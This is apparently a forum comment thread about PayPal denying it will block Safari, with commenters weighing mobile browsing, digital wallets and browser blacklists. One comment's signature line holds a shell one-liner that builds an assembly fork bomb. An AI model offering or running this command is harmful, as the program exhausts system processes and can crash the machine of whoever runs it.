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PayPal Denies It Will Block Safari
Despite reports that PayPal may drop support for Apple's Safari browser because it lacks anti-phishing features, PayPal now says it ain't so. Though PayPal telegraphed displeasure with Safari last January, they're now unambiguous about their position: "We have absolutely no intention of blocking current versions of any browsers, including Apple's Safari, from our website."
They can't afford to block Safari, not because of the Macintosh or Windows version, but because of the iPhone/iPod Touch version. The latter is rapidly becoming the standard for mobile browsing (or at least has such a large share that it cannot be ignored).
The increasing popularity of mobile browsing is an opportunity for Paypal to act as a mobile digital wallet. There's certainly no point in carrying a debit card if you can just use your phone. I'm guessing that is Paypal's aim. Whether or not they can beat the banks to direct money transfer is debatable though.
"by that I mean people who don't sit on slashdot all day wondering why everyone else isn't building robots" DECS
Yeah, Safari is great on the iPod touch. I can browse to a web page to jailbreak the machine.
I can't imagine why anyone would think it was insecure.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I think the point is that they won't specifically block them. They will block browser programs that are known to be unsuitable, like the Netscape 2, or IE 4, or Mosaic.
However, if you use browsers don't support plug-ins/protocols/captchas/whatever that paypal demands of the browser, you may still be SOL.
In short: I expect there will be a black-list of unacceptable browser versions, rather than a white-list of accepted browser versions.
This has the fun advantage of making life easier for people designing websites. Fewer old browsers out there means you don't need as many stupid hacks to make it all work.
Then it is in Apple's interest to work with companies like Paypal to improve security. This is a case where market incentives can provide a solution. Of course it ought to be done in such a way that doesn't prevent people from jailbreaking their units if they want to.
"by that I mean people who don't sit on slashdot all day wondering why everyone else isn't building robots" DECS